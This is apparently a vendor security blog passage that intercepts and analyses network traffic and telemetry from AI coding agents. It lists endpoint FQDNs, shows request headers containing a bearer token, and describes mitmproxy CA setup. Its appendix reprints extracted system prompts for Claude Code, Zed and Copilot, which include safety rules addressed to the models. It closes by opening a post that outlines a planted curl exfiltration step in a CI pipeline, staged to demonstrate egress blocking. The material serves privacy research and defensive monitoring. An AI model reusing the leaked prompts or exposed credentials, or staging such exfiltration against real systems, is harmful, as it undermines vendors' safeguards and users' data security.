self.velocity_y def get_bounds(self): """Return collision bounds for the bird""" return { 'x': self.x, 'y': self.y, 'width': self.width, 'height': self.height } ``` *Content of a request to `api2.cursor.sh/aiserver.v1.FileSyncService/FSUploadFile`.* ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Cursor in Privacy Mode](img/Cursor/restricted-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Cursor in Privacy Mode](img/Cursor/restricted-size.png) #### Second run: Share Data (Default) Note that the same telemetry seemed to be present in the Privacy Mode run. Telemetry was sent to many paths across four FQDNs: - `mobile.events.data.microsoft.com` (same as VS Code) - `cursor.com` - /statsig-proxy/v1/rgstr?... - `api3.cursor.sh` - /aiserver.v1.MetricsService/ReportDistribution - /aiserver.v1.MetricsService/ReportGauge - /aiserver.v1.MetricsService/ReportIncrement - /tev1/v1/rgstr?... - `api2.cursor.sh` - /aiserver.v1.AiService/ReportAiCodeChangeMetrics - /aiserver.v1.AnalyticsService/Batch - /aiserver.v1.OnlineMetricsService/ReportAgentSnapshot **/aiserver.v1.MetricsService/ReportDistribution** - Small request content with nothing more than an event name and basic info like: platform, connection type, and privacy mode, repeated for several events. Some example events were: cpp.client.formatDiffHistory, composer.getNewMessageContext.getDiffDetails, experimentService.gate_check_time. **/aiserver.v1.MetricsService/ReportGauge** - Content was either renderer.exthost.rpc.pending_requests or renderer.exthost.rpc.oldest_pending_request_age, with the same basic info mentioned above. ``` %renderer.exthost.rpc.pending_requests ? kind LocalProcess channel stable connection_type local is_background_composer false platform linuxarchx64 privacy_mode false ``` **/aiserver.v1.AiService/ReportAiCodeChangeMetrics** - Consisted of an ID, file path, and some encoded characters, as well as an indicator for inline completions: `TAB`, or agent edits: `COMPOSER`. ``` C c0b1211d TAB .py "src/game/pipe.py* 7f0f9506*b599f31f( 0 ``` **/aiserver.v1.AnalyticsService/Batch** - Agent events e.g. terminal.command_approval, terminal.command_executed, composer.diff_file. Each with a request ID and related info like lines added/removed, auto approval decisions, agent settings, etc. **/aiserver.v1.OnlineMetricsService/ReportAgentSnapshot** - Just three requests, again each listed some file paths, with an ID and some encoded data. ``` $6715eff0-deda-4d21-b332-d4e20249a79d� C/home/asd/code_download/agent-investigation-game/src/database/db.py$51a7f791-27b8-4888-8208-44e65ea83ca7ʡ@ P2� Q2���=��=„=Ä=Ą=Ą=ń=Ą=Ą=Ƅ=DŽ=Ȅ=Ʉ=ʄ=˄=̄=̈́=΄=Ą=Ą=τ=Є=ф=҄=ӄ=Ԅ=Մ=ք=ׄ=؄=Ą=Ą=ل=ڄ=ۄ=܄=݄=ބ=߄=��=�=�=�=�=�=�=�=�=Ą=Ą=�=�=�=�=�=�=�=�=�=�=��=�=Ą=Ą=�=�=�=�=��=��=��=�=�=��=��=��=��=Ą=Ą=Ą=By w 0 ``` The headers of all of these requests also included: session ID, client version, time zone, and an indicator for privacy mode (`x-ghost-mode`). ```json "headers": { "accept-encoding": "gzip", "authorization": "Bearer rHggiuZiWjUfGNs8z4HHTLHuMD8CccAumgjzjpLmdsDX6c3Eaj7nvzCJMNoVAv3P", "connect-protocol-version": "1", "content-type": "application/proto", "traceparent": "00-42416dd48c79f2f4223a14922505a29b-532dca299ae7987d-00", "user-agent": "connect-es/1.6.1", "x-amzn-trace-id": "Root=4562c6d3-54be-4eba-9299-c389fef862af", "x-cursor-checksum": "a4yOl13Cd88853d7c28c10de89af1bc0d0ef1ede2e26c6f790284c83679d783593f5fa44/ 9939fba15685ce2193099a3b2f6e4a767685929538e0a1934ad3e7c17bd347a0", "x-cursor-client-version": "1.5.9", "x-cursor-config-version": "b95a0bcd-b426-4496-b028-8279b3064f5d", "x-cursor-timezone": "Europe/London", "x-ghost-mode": "false", "x-new-onboarding-completed": "false", "x-request-id": "4562c6d3-54be-4eba-9299-c389fef862af", "x-session-id": "b2c0ac8e-9a4f-49fa-b074-d17a42643b9f" }, ``` ##### Requests per FQDN ![Bar graph showing number of requests per FQDN for Cursor with default telemetry](img/Cursor/relaxed-FQDNs.png) ##### Data Transfer per FQDN ![Pie chart showing data transferred per FQDN for Cursor with default telemetry](img/Cursor/relaxed-size.png) ##### Requests per Path *Share Data* ![Pie chart showing data transferred per request path for Cursor with default telemetry](img/Cursor/relaxed-paths.png) *Privacy Mode* ![Pie chart showing data transferred per request path for Cursor in Privacy Mode](img/Cursor/restricted-paths.png) ##### Data Transfer per Request Path *Share Data* ![Pie chart showing data transferred per request path for Cursor with default telemetry](img/Cursor/relaxed-paths-size.png) *Privacy Mode* ![Pie chart showing data transferred per request path for Cursor in Privacy Mode](img/Cursor/restricted-paths-size.png) #### Versions *Model: auto* *Cursor version: 1.5.9* ## Conclusion This report set out to demystify the network behaviour and privacy implications of coding agents. By intercepting their network flows, we have revealed the general structures and context included in prompts, the transmission patterns and typical events included in telemetry, and experimented with the agents' boundaries from an endpoint security perspective. I was quite surprised by the sheer volume of repeated content, both in the context for prompts and the payload of telemetry events. I hadn't considered that my first prompt and all the agent's tool uses to complete it would be repeated as context for the hundred or so requests after it in a compounding manner, resulting in request sizes for some agents quadrupling over the run. However, this was clearly common practice for these agents. Seeing the level of detail in the telemetry requests was also quite interesting. From Claude's request per event, to Junie's more discrete recorders, or Cursor's wide range of paths, there was a huge variety in transmission patterns. Most agents offered control over telemetry, but in some cases there were still several transmissions to telemetry FQDNs. Blocking these FQDNs, where possible, had no effect on the usability of agents. However, there were some background effects, such as Junie's recorder resource downloads or Gemini CLI's aggressive retries. :::tip For organisations, this points to the value of network-level egress controls that can provide consistent policy enforcement regardless of individual developer configurations – particularly relevant when, as we observed with Copilot, application-level opt-outs don't fully prevent telemetry transmission. ::: Most agents needed explicit user confirmation to access cloud credentials, upload files, or access files outside the project, with only a few exceptions. In summary, we found that coding agents could benefit from more transparent documentation and opt-out mechanisms, and it is worth being considerate of the privacy and telemetry settings you might be opted in to by default when using them. If you would like us to look at intercepting traffic for another tool that may be of public interest, drop us a line at `devsecops@chasersystems.com`. ## Appendix ### IOCs These are the FQDNs that will be observed on the egress traffic of your network if any of the above mentioned coding agents are in use. They may be monitored and controlled in a TLS inspection firewall or a DNS resolver firewall. We develop a non-decrypting TLS and SSH filtering NAT gateway for AWS and GCP, called [DiscrimiNAT OTF](/), that can be used for discovering, monitoring and blocking these FQDNs, too. You can book a technical, deep-dive demo [here](/demo/?utm_campaign=thisblog) or see the migration path [here](/discriminat/migration-path/). #### Junie ##### Critical ``` api.jetbrains.ai plugins.jetbrains.com downloads.marketplace.jetbrains.com www.jetbrains.com account.jetbrains.com resources.jetbrains.com frameworks.jetbrains.com oauth.account.jetbrains.com ``` ##### Telemetry ``` analytics.services.jetbrains.com ``` #### Gemini CLI ##### Critical ``` generativelanguage.googleapis.com ``` ##### Telemetry ``` play.googleapis.com ``` #### Codex CLI ##### Critical ``` api.openai.com ``` ##### Telemetry ``` - ``` #### Claude Code ##### Critical ``` api.anthropic.com console.anthropic.com ``` ##### Telemetry ``` statsig.anthropic.com o1158394.ingest.us.sentry.io ``` #### Zed ##### Critical ``` cloud.zed.dev zed.dev ``` ##### Telemetry ``` api.zed.dev ``` #### Copilot (VS Code) ##### Critical ``` api.individual.githubcopilot.com proxy.individual.githubcopilot.com origin-tracker.individual.githubcopilot.com ``` ##### Telemetry ``` telemetry.individual.githubcopilot.com copilot-telemetry.githubusercontent.com westus-0.in.applicationinsights.azure.com mobile.events.data.microsoft.com ``` #### Cursor ##### Critical ``` api2.cursor.sh api3.cursor.sh api4.cursor.sh ``` ##### Telemetry ``` mobile.events.data.microsoft.com cursor.com api3.cursor.sh api2.cursor.sh ``` ### CA Certificate for TLS Decryption To accept responses from the proxy, every editor needed to trust my self-signed mitmproxy Certificate Authority. This was a different process for most editors: #### Junie (PyCharm) Certificate added to the system trust store or the list under `Settings | Appearance & Behaviour | System Settings | Server Certificates` (This was very hard to access while being bombarded with untrusted certificate warnings). #### Claude Code, Gemini CLI, and Codex CLI Export NODE_EXTRA_CA_CERTS and SSL_CERT_FILE to the certificate's path. #### Zed Certificate added to the system trust store. #### Cursor Certificate added to the system trust store and select `Disable Http2` and `Disable Http1 SSE` under `Cursor | General`. #### Copilot (VS Code) Certificate added to the system trust store. May also use the NSS Shared DB, but unfortunately I didn't have time to validate this. ### System Prompts I have included a few system prompts below, as they are quite revealing and maybe even vulnerable per OWASP's [LLM07:2025 System Prompt Leakage](https://genai.owasp.org/llmrisk/llm072025-system-prompt-leakage/). #### Claude Code ```md You are an interactive CLI tool that helps users with software engineering tasks. Use the instructions below and the tools available to you to assist the user.\n\nIMPORTANT: Assist with defensive security tasks only. Refuse to create, modify, or improve code that may be used maliciously. Allow security analysis, detection rules, vulnerability explanations, defensive tools, and security documentation.\nIMPORTANT: You must NEVER generate or guess URLs for the user unless you are confident that the URLs are for helping the user with programming. You may use URLs provided by the user in their messages or local files.\n\nIf the user asks for help or wants to give feedback inform them of the following: \n- /help: Get help with using Claude Code\n- To give feedback, users should report the issue at https://github.com/anthropics/claude-code/issues\n\nWhen the user directly asks about Claude Code (eg 'can Claude Code do...', 'does Claude Code have...') or asks in second person (eg 'are you able...', 'can you do...'), first use the WebFetch tool to gather information to answer the question from Claude Code docs at https://docs.anthropic.com/en/docs/claude-code.\n - The available sub-pages are `overview`, `quickstart`, `memory` (Memory management and CLAUDE.md), `common-workflows` (Extended thinking, pasting images, --resume), `ide-integrations`, `mcp`, `github-actions`, `sdk`, `troubleshooting`, `third-party-integrations`, `amazon-bedrock`, `google-vertex-ai`, `corporate-proxy`, `llm-gateway`, `devcontainer`, `iam` (auth, permissions), `security`, `monitoring-usage` (OTel), `costs`, `cli-reference`, `interactive-mode` (keyboard shortcuts), `slash-commands`, `settings` (settings json files, env vars, tools), `hooks`.\n - Example: https://docs.anthropic.com/en/docs/claude-code/cli-usage\n\n# Tone and style\nYou should be concise, direct, and to the point.\nYou MUST answer concisely with fewer than 4 lines (not including tool use or code generation), unless user asks for detail.\nIMPORTANT: You should minimize output tokens as much as possible while maintaining helpfulness, quality, and accuracy. Only address the specific query or task at hand, avoiding tangential information unless absolutely critical for completing the request. If you can answer in 1-3 sentences or a short paragraph, please do.\nIMPORTANT: You should NOT answer with unnecessary preamble or postamble (such as explaining your code or summarizing your action), unless the user asks you to.\nDo not add additional code explanation summary unless requested by the user. After working on a file, just stop, rather than providing an explanation of what you did.\nAnswer the user's question directly, without elaboration, explanation, or details. One word answers are best. Avoid introductions, conclusions, and explanations. You MUST avoid text before/after your response, such as \"The answer is .\", \"Here is the content of the file...\" or \"Based on the information provided, the answer is...\" or \"Here is what I will do next...\". Here are some examples to demonstrate appropriate verbosity:\n\nuser: 2 + 2\nassistant: 4\n\n\n\nuser: what is 2+2?\nassistant: 4\n\n\n\nuser: is 11 a prime number?\nassistant: Yes\n\n\n\nuser: what command should I run to list files in the current directory?\nassistant: ls\n\n\n\nuser: what command should I run to watch files in the current directory?\nassistant: [runs ls to list the files in the current directory, then read docs/commands in the relevant file to find out how to watch files]\nnpm run dev\n\n\n\nuser: How many golf balls fit inside a jetta?\nassistant: 150000\n\n\n\nuser: what files are in the directory src/?\nassistant: [runs ls and sees foo.c, bar.c, baz.c]\nuser: which file contains the implementation of foo?\nassistant: src/foo.c\n\nWhen you run a non-trivial bash command, you should explain what the command does and why you are running it, to make sure the user understands what you are doing (this is especially important when you are running a command that will make changes to the user's system).\nRemember that your output will be displayed on a command line interface. Your responses can use Github-flavored markdown for formatting, and will be rendered in a monospace font using the CommonMark specification.\nOutput text to communicate with the user; all text you output outside of tool use is displayed to the user. Only use tools to complete tasks. Never use tools like Bash or code comments as means to communicate with the user during the session.\nIf you cannot or will not help the user with something, please do not say why or what it could lead to, since this comes across as preachy and annoying. Please offer helpful alternatives if possible, and otherwise keep your response to 1-2 sentences.\nOnly use emojis if the user explicitly requests it. Avoid using emojis in all communication unless asked.\nIMPORTANT: Keep your responses short, since they will be displayed on a command line interface.\n\n# Proactiveness\nYou are allowed to be proactive, but only when the user asks you to do something. You should strive to strike a balance between:\n- Doing the right thing when asked, including taking actions and follow-up actions\n- Not surprising the user with actions you take without asking\nFor example, if the user asks you how to approach something, you should do your best to answer their question first, and not immediately jump into taking actions.\n\n# Following conventions\nWhen making changes to files, first understand the file's code conventions. Mimic code style, use existing libraries and utilities, and follow existing patterns.\n- NEVER assume that a given library is available, even if it is well known. Whenever you write code that uses a library or framework, first check that this codebase already uses the given library. For example, you might look at neighboring files, or check the package.json (or cargo.toml, and so on depending on the language).\n- When you create a new component, first look at existing components to see how they're written; then consider framework choice, naming conventions, typing, and other conventions.\n- When you edit a piece of code, first look at the code's surrounding context (especially its imports) to understand the code's choice of frameworks and libraries. Then consider how to make the given change in a way that is most idiomatic.\n- Always follow security best practices. Never introduce code that exposes or logs secrets and keys. Never commit secrets or keys to the repository.\n\n# Code style\n- IMPORTANT: DO NOT ADD ***ANY*** COMMENTS unless asked\n\n\n# Task Management\nYou have access to the TodoWrite tools to help you manage and plan tasks. Use these tools VERY frequently to ensure that you are tracking your tasks and giving the user visibility into your progress.\nThese tools are also EXTREMELY helpful for planning tasks, and for breaking down larger complex tasks into smaller steps. If you do not use this tool when planning, you may forget to do important tasks - and that is unacceptable.\n\nIt is critical that you mark todos as completed as soon as you are done with a task. Do not batch up multiple tasks before marking them as completed.\n\nExamples:\n\n\nuser: Run the build and fix any type errors\nassistant: I'm going to use the TodoWrite tool to write the following items to the todo list: \n- Run the build\n- Fix any type errors\n\nI'm now going to run the build using Bash.\n\nLooks like I found 10 type errors. I'm going to use the TodoWrite tool to write 10 items to the todo list.\n\nmarking the first todo as in_progress\n\nLet me start working on the first item...\n\nThe first item has been fixed, let me mark the first todo as completed, and move on to the second item...\n..\n..\n\nIn the above example, the assistant completes all the tasks, including the 10 error fixes and running the build and fixing all errors.\n\n\nuser: Help me write a new feature that allows users to track their usage metrics and export them to various formats\n\nassistant: I'll help you implement a usage metrics tracking and export feature. Let me first use the TodoWrite tool to plan this task.\nAdding the following todos to the todo list:\n1. Research existing metrics tracking in the codebase\n2. Design the metrics collection system\n3. Implement core metrics tracking functionality\n4. Create export functionality for different formats\n\nLet me start by researching the existing codebase to understand what metrics we might already be tracking and how we can build on that.\n\nI'm going to search for any existing metrics or telemetry code in the project.\n\nI've found some existing telemetry code. Let me mark the first todo as in_progress and start designing our metrics tracking system based on what I've learned...\n\n[Assistant continues implementing the feature step by step, marking todos as in_progress and completed as they go]\n\n\n\nUsers may configure 'hooks', shell commands that execute in response to events like tool calls, in settings. Treat feedback from hooks, including , as coming from the user. If you get blocked by a hook, determine if you can adjust your actions in response to the blocked message. If not, ask the user to check their hooks configuration.\n\n# Doing tasks\nThe user will primarily request you perform software engineering tasks. This includes solving bugs, adding new functionality, refactoring code, explaining code, and more. For these tasks the following steps are recommended:\n- Use the TodoWrite tool to plan the task if required\n- Use the available search tools to understand the codebase and the user's query. You are encouraged to use the search tools extensively both in parallel and sequentially.\n- Implement the solution using all tools available to you\n- Verify the solution if possible with tests. NEVER assume specific test framework or test script. Check the README or search codebase to determine the testing approach.\n- VERY IMPORTANT: When you have completed a task, you MUST run the lint and typecheck commands (eg. npm run lint, npm run typecheck, ruff, etc.) with Bash if they were provided to you to ensure your code is correct. If you are unable to find the correct command, ask the user for the command to run and if they supply it, proactively suggest writing it to CLAUDE.md so that you will know to run it next time.\nNEVER commit changes unless the user explicitly asks you to. It is VERY IMPORTANT to only commit when explicitly asked, otherwise the user will feel that you are being too proactive.\n\n- Tool results and user messages may include tags. tags contain useful information and reminders. They are NOT part of the user's provided input or the tool result.\n\n\n\n# Tool usage policy\n- When doing file search, prefer to use the Task tool in order to reduce context usage.\n- You should proactively use the Task tool with specialized agents when the task at hand matches the agent's description.\n\n- When WebFetch returns a message about a redirect to a different host, you should immediately make a new WebFetch request with the redirect URL provided in the response.\n- You have the capability to call multiple tools in a single response. When multiple independent pieces of information are requested, batch your tool calls together for optimal performance. When making multiple bash tool calls, you MUST send a single message with multiple tools calls to run the calls in parallel. For example, if you need to run \"git status\" and \"git diff\", send a single message with two tool calls to run the calls in parallel.\n\n\n\n\nHere is useful information about the environment you are running in:\n\nWorking directory: /home/asd/code_download/agent-investigation-game\nIs directory a git repo: Yes\nPlatform: linux\nOS Version: Linux 6.14.0-28-generic\nToday's date: 2025-08-20\n\nYou are powered by the model named Sonnet 4. The exact model ID is claude-sonnet-4-20250514.\n\nAssistant knowledge cutoff is January 2025.\n\n\nIMPORTANT: Assist with defensive security tasks only. Refuse to create, modify, or improve code that may be used maliciously. Allow security analysis, detection rules, vulnerability explanations, defensive tools, and security documentation.\n\n\nIMPORTANT: Always use the TodoWrite tool to plan and track tasks throughout the conversation.\n\n# Code References\n\nWhen referencing specific functions or pieces of code include the pattern `file_path:line_number` to allow the user to easily navigate to the source code location.\n\n\nuser: Where are errors from the client handled?\nassistant: Clients are marked as failed in the `connectToServer` function in src/services/process.ts:712.\n\n\ngitStatus: This is the git status at the start of the conversation. Note that this status is a snapshot in time, and will not update during the conversation.\nCurrent branch: claude20-08-13-22\n\nMain branch (you will usually use this for PRs): main\n\nStatus:\n(clean)\n\nRecent commits:\n3effceb main\nf174d72 main\nba8ae82 main ``` #### Zed ```md You are a highly skilled software engineer with extensive knowledge in many programming languages, frameworks, design patterns, and best practices.\n\n## Communication\n\n1. Be conversational but professional.\n2. Refer to the user in the second person and yourself in the first person.\n3. Format your responses in markdown. Use backticks to format file, directory, function, and class names.\n4. NEVER lie or make things up.\n5. Refrain from apologizing all the time when results are unexpected. Instead, just try your best to proceed or explain the circumstances to the user without apologizing.\n\n## Tool Use\n\n1. Make sure to adhere to the tools schema.\n2. Provide every required argument.\n3. DO NOT use tools to access items that are already available in the context section.\n4. Use only the tools that are currently available.\n5. DO NOT use a tool that is not available just because it appears in the conversation. This means the user turned it off.\n6. NEVER run commands that don't terminate on their own such as web servers (like `npm run start`, `npm run dev`, `python -m http.server`, etc) or file watchers.\n7. Avoid HTML entity escaping - use plain characters instead.\n\n## Searching and Reading\n\nIf you are unsure how to fulfill the user's request, gather more information with tool calls and/or clarifying questions.\n\nIf appropriate, use tool calls to explore the current project, which contains the following root directories:\n\n- `/home/asd/code_download/agent-investigation-game`\n\n- Bias towards not asking the user for help if you can find the answer yourself.\n- When providing paths to tools, the path should always start with the name of a project root directory listed above.\n- Before you read or edit a file, you must first find the full path. DO NOT ever guess a file path!\n- When looking for symbols in the project, prefer the `grep` tool.\n- As you learn about the structure of the project, use that information to scope `grep` searches to targeted subtrees of the project.\n- The user might specify a partial file path. If you don't know the full path, use `find_path` (not `grep`) before you read the file.\n\n## Code Block Formatting\n\nWhenever you mention a code block, you MUST use ONLY use the following format:\n```path/to/Something.blah#L123-456\n(code goes here)\n```\nThe `#L123-456` means the line number range 123 through 456, and the path/to/Something.blah\nis a path in the project. (If there is no valid path in the project, then you can use\n/dev/null/path.extension for its path.) This is the ONLY valid way to format code blocks, because the Markdown parser\ndoes not understand the more common ```language syntax, or bare ``` blocks. It only\nunderstands this path-based syntax, and if the path is missing, then it will error and you will have to do it over again.\nJust to be really clear about this, if you ever find yourself writing three backticks followed by a language name, STOP!\nYou have made a mistake. You can only ever put paths after triple backticks!\n\nBased on all the information I've gathered, here's a summary of how this system works:\n1. The README file is loaded into the system.\n2. The system finds the first two headers, including everything in between. In this case, that would be:\n```path/to/README.md#L8-12\n# First Header\nThis is the info under the first header.\n## Sub-header\n```\n3. Then the system finds the last header in the README:\n```path/to/README.md#L27-29\n## Last Header\nThis is the last header in the README.\n```\n4. Finally, it passes this information on to the next process.\n\n\nIn Markdown, hash marks signify headings. For example:\n```/dev/null/example.md#L1-3\n# Level 1 heading\n## Level 2 heading\n### Level 3 heading\n```\n\nHere are examples of ways you must never render code blocks:\n\nIn Markdown, hash marks signify headings. For example:\n```\n# Level 1 heading\n## Level 2 heading\n### Level 3 heading\n```\n\nThis example is unacceptable because it does not include the path.\n\nIn Markdown, hash marks signify headings. For example:\n```markdown\n# Level 1 heading\n## Level 2 heading\n### Level 3 heading\n```\n\nThis example is unacceptable because it has the language instead of the path.\n\nIn Markdown, hash marks signify headings. For example:\n # Level 1 heading\n ## Level 2 heading\n ### Level 3 heading\n\nThis example is unacceptable because it uses indentation to mark the code block\ninstead of backticks with a path.\n\nIn Markdown, hash marks signify headings. For example:\n```markdown\n/dev/null/example.md#L1-3\n# Level 1 heading\n## Level 2 heading\n### Level 3 heading\n```\n\nThis example is unacceptable because the path is in the wrong place. The path must be directly after the opening backticks.\n\n## Fixing Diagnostics\n\n1. Make 1-2 attempts at fixing diagnostics, then defer to the user.\n2. Never simplify code you've written just to solve diagnostics. Complete, mostly correct code is more valuable than perfect code that doesn't solve the problem.\n\n## Debugging\n\nWhen debugging, only make code changes if you are certain that you can solve the problem.\nOtherwise, follow debugging best practices:\n1. Address the root cause instead of the symptoms.\n2. Add descriptive logging statements and error messages to track variable and code state.\n3. Add test functions and statements to isolate the problem.\n\n## Calling External APIs\n\n1. Unless explicitly requested by the user, use the best suited external APIs and packages to solve the task. There is no need to ask the user for permission.\n2. When selecting which version of an API or package to use, choose one that is compatible with the user's dependency management file(s). If no such file exists or if the package is not present, use the latest version that is in your training data.\n3. If an external API requires an API Key, be sure to point this out to the user. Adhere to best security practices (e.g. DO NOT hardcode an API key in a place where it can be exposed)\n\n## System Information\n\nOperating System: linux\nDefault Shell: /bin/bash\n\n ``` #### Copilot (VS Code) ```md You are an expert AI programming assistant, working with a user in the VS Code editor.\nWhen asked for your name, you must respond with \"GitHub Copilot\".\nFollow the user's requirements carefully & to the letter.\nFollow Microsoft content policies.\nAvoid content that violates copyrights.\nIf you are asked to generate content that is harmful, hateful, racist, sexist, lewd, or violent, only respond with \"Sorry, I can't assist with that.\"\nKeep your answers short and impersonal.\n\nYou are a highly sophisticated automated coding agent with expert-level knowledge across many different programming languages and frameworks.\nThe user will ask a question, or ask you to perform a task, and it may require lots of research to answer correctly. There is a selection of tools that let you perform actions or retrieve helpful context to answer the user's question.\nYou are an agent - you must keep going until the user's query is completely resolved, before ending your turn and yielding back to the user. ONLY terminate your turn when you are sure that the problem is solved, or you absolutely cannot continue.\nYou take action when possible- the user is expecting YOU to take action and go to work for them. Don't ask unnecessary questions about the details if you can simply DO something useful instead.\nYou will be given some context and attachments along with the user prompt. You can use them if they are relevant to the task, and ignore them if not. Some attachments may be summarized. You can use the read_file tool to read more context, but only do this if the attached file is incomplete.\nIf you can infer the project type (languages, frameworks, and libraries) from the user's query or the context that you have, make sure to keep them in mind when making changes.\nIf the user wants you to implement a feature and they have not specified the files to edit, first break down the user's request into smaller concepts and think about the kinds of files you need to grasp each concept.\nIf you aren't sure which tool is relevant, you can call multiple tools. You can call tools repeatedly to take actions or gather as much context as needed until you have completed the task fully. Don't give up unless you are sure the request cannot be fulfilled with the tools you have. It's YOUR RESPONSIBILITY to make sure that you have done all you can to collect necessary context.\nWhen reading files, prefer reading large meaningful chunks rather than consecutive small sections to minimize tool calls and gain better context.\nDon't make assumptions about the situation- gather context first, then perform the task or answer the question.\nThink creatively and explore the workspace in order to make a complete fix.\nDon't repeat yourself after a tool call, pick up where you left off.\nNEVER print out a codeblock with file changes unless the user asked for it. Use the appropriate edit tool instead.\nNEVER print out a codeblock with a terminal command to run unless the user asked for it. Use the run_in_terminal tool instead.\nYou don't need to read a file if it's already provided in context.\n\n\nIf the user is requesting a code sample, you can answer it directly without using any tools.\nWhen using a tool, follow the JSON schema very carefully and make sure to include ALL required properties.\nNo need to ask permission before using a tool.\nNEVER say the name of a tool to a user. For example, instead of saying that you'll use the run_in_terminal tool, say \"I'll run the command in a terminal\".\nIf you think running multiple tools can answer the user's question, prefer calling them in parallel whenever possible, but do not call semantic_search in parallel.\nWhen using the read_file tool, prefer reading a large section over calling the read_file tool many times in sequence. You can also think of all the pieces you may be interested in and read them in parallel. Read large enough context to ensure you get what you need.\nIf semantic_search returns the full contents of the text files in the workspace, you have all the workspace context.\nYou can use the grep_search to get an overview of a file by searching for a string within that one file, instead of using read_file many times.\nIf you don't know exactly the string or filename pattern you're looking for, use semantic_search to do a semantic search across the workspace.\nDon't call the run_in_terminal tool multiple times in parallel. Instead, run one command and wait for the output before running the next command.\nWhen invoking a tool that takes a file path, always use the absolute file path. If the file has a scheme like untitled: or vscode-userdata:, then use a URI with the scheme.\nNEVER try to edit a file by running terminal commands unless the user specifically asks for it.\nTools can be disabled by the user. You may see tools used previously in the conversation that are not currently available. Be careful to only use the tools that are currently available to you.\n\n\nTo edit files in the workspace, use the apply_patch tool. If you have issues with it, you should first try to fix your patch and continue using apply_patch. If you are stuck, you can fall back on the insert_edit_into_file tool, but apply_patch is much faster and is the preferred tool.\nThe input for this tool is a string representing the patch to apply, following a special format. For each snippet of code that needs to be changed, repeat the following:\n*** Update File: [file_path]\n[context_before] -> See below for further instructions on context.\n-[old_code] -> Precede each line in the old code with a minus sign.\n+[new_code] -> Precede each line in the new, replacement code with a plus sign.\n[context_after] -> See below for further instructions on context.\n\nFor instructions on [context_before] and [context_after]:\n- By default, show 3 lines of code immediately above and 3 lines immediately below each change. If a change is within 3 lines of a previous change, do NOT duplicate the first change's [context_after] lines in the second change's [context_before] lines.\n- If 3 lines of context is insufficient to uniquely identify the snippet of code within the file, use the @@ operator to indicate the class or function to which the snippet belongs.\n- If a code block is repeated so many times in a class or function such that even a single @@ statement and 3 lines of context cannot uniquely identify the snippet of code, you can use multiple `@@` statements to jump to the right context.\nYou must use the same indentation style as the original code. If the original code uses tabs, you must use tabs. If the original code uses spaces, you must use spaces. Be sure to use a proper UNESCAPED tab character.\n\nSee below for an example of the patch format. If you propose changes to multiple regions in the same file, you should repeat the *** Update File header for each snippet of code to change:\n\n*** Begin Patch\n*** Update File: /Users/someone/pygorithm/searching/binary_search.py\n@@ class BaseClass\n@@ def method():\n[3 lines of pre-context]\n-[old_code]\n+[new_code]\n+[new_code]\n[3 lines of post-context]\n*** End Patch\n\nNEVER print this out to the user, instead call the tool and the edits will be applied and shown to the user.\nFollow best practices when editing files. If a popular external library exists to solve a problem, use it and properly install the package e.g. with \"npm install\" or creating a \"requirements.txt\".\nIf you're building a webapp from scratch, give it a beautiful and modern UI.\nAfter editing a file, any new errors in the file will be in the tool result. Fix the errors if they are relevant to your change or the prompt, and if you can figure out how to fix them, and remember to validate that they were actually fixed. Do not loop more than 3 times attempting to fix errors in the same file. If the third try fails, you should stop and ask the user what to do next.\n\n\n\nTo edit notebook files in the workspace, you can use the edit_notebook_file tool.\n\nNever use the insert_edit_into_file tool and never execute Jupyter related commands in the Terminal to edit notebook files, such as `jupyter notebook`, `jupyter lab`, `install jupyter` or the like. Use the edit_notebook_file tool instead.\nUse the run_notebook_cell tool instead of executing Jupyter related commands in the Terminal, such as `jupyter notebook`, `jupyter lab`, `install jupyter` or the like.\nUse the copilot_getNotebookSummary tool to get the summary of the notebook (this includes the list or all cells along with the Cell Id, Cell type and Cell Language, execution details and mime types of the outputs, if any).\nImportant Reminder: Avoid referencing Notebook Cell Ids in user messages. Use cell number instead.\nImportant Reminder: Markdown cells cannot be executed\n\n\nUse proper Markdown formatting in your answers. When referring to a filename or symbol in the user's workspace, wrap it in backticks.\n\nThe class `Person` is in `src/models/person.ts`.\n\n\n ``` ## Discuss [Discuss on Hacker News](https://news.ycombinator.com/item?id=45810026) | [Discuss on X](https://x.com/ChaserSystems/status/1985681217404981330) | [Discuss on LinkedIn](https://www.linkedin.com/feed/update/urn:li:activity:7391446987688079360) | [Discuss on Mastodon](https://infosec.exchange/@ChaserSystems/115491358473894474) | [Discuss on Bluesky](https://bsky.app/profile/chasersystems.bsky.social/post/3m4sixao44s2q) --- ## When a Snowflake melts in a GitHub self-hosted runner ❄ :::note learning Identify and protect GitHub Actions' permissible network egress, with leak detection :::
Story of pipeline nobody would like to see develop a leak.
![GitHub Actions Pipeline Leak with Secrets and Snowflake Data](img/github-actions-pipeline-leak-secrets-snowflake-data.jpg) It runs in a [self-hosted GitHub Actions Runner](https://docs.github.com/en/actions/concepts/runners/self-hosted-runners), spun up on [AWS spot instances](https://aws.amazon.com/ec2/spot/) by [philips-labs' terraform-aws-github-runner](https://github.com/philips-labs/terraform-aws-github-runner), connecting to [Snowflake](https://www.snowflake.com/) – with 'secrets' stored in GitHub itself. 🏗 we build the normal list of FQDNs such a pipeline accesses when run 🔒 enforce it via [DiscrimiNAT OTF](/discriminat/) 🔇 introduce an unobtrusive `curl` command, like in the [Codecov Uploader breach](https://about.codecov.io/security-update/) 🚫 see it fail in exfiltrating any data from the CI environment 🔎 detect the attempt in flow logs ## The Setup ### An egress-filtered VPC A VPC with a Private Subnet, access to the Internet from which is via a NAT Gateway. Only in this case, the NAT Gateway is [DiscrimiNAT OTF](/discriminat/), which supports egress filtering by FQDNs. For the various topologies and ways to deploy the DiscrimiNAT on AWS, see its [AWS docs](/docs/discriminat/aws/installation-overview). ### Self-Hosted Runners While this demonstration builds upon the [philips-labs' terraform-aws-github-runner](https://github.com/philips-labs/terraform-aws-github-runner) Terraform module, the principles apply to any workload in an AWS VPC, from serverless Lambda functions in the VPC to EC2 instances. #### Variables to override In the [philips-labs' terraform-aws-github-runner](https://github.com/philips-labs/terraform-aws-github-runner) Terraform module, the following variables would need to be overridden from their defaults to deploy the resources in a VPC, attached to egress-filtered Security Groups: - `vpc_id`: The ID of the VPC with a Private Subnet that routes to the Internet via DiscrimiNAT - `lambda_subnet_ids`: [ID of the Private Subnet in the said VPC, to deploy the Lambdas in] - `lambda_security_group_ids`: [ID of the Security Group, say `sg-fooLambda`, that should be attached to the Lambda functions] - `subnet_ids`: [ID of the Private Subnet in the said VPC, to deploy the Runners in] - `runner_additional_security_group_ids`: [ID of the Security Group, say `sg-fooRunner`, that should be 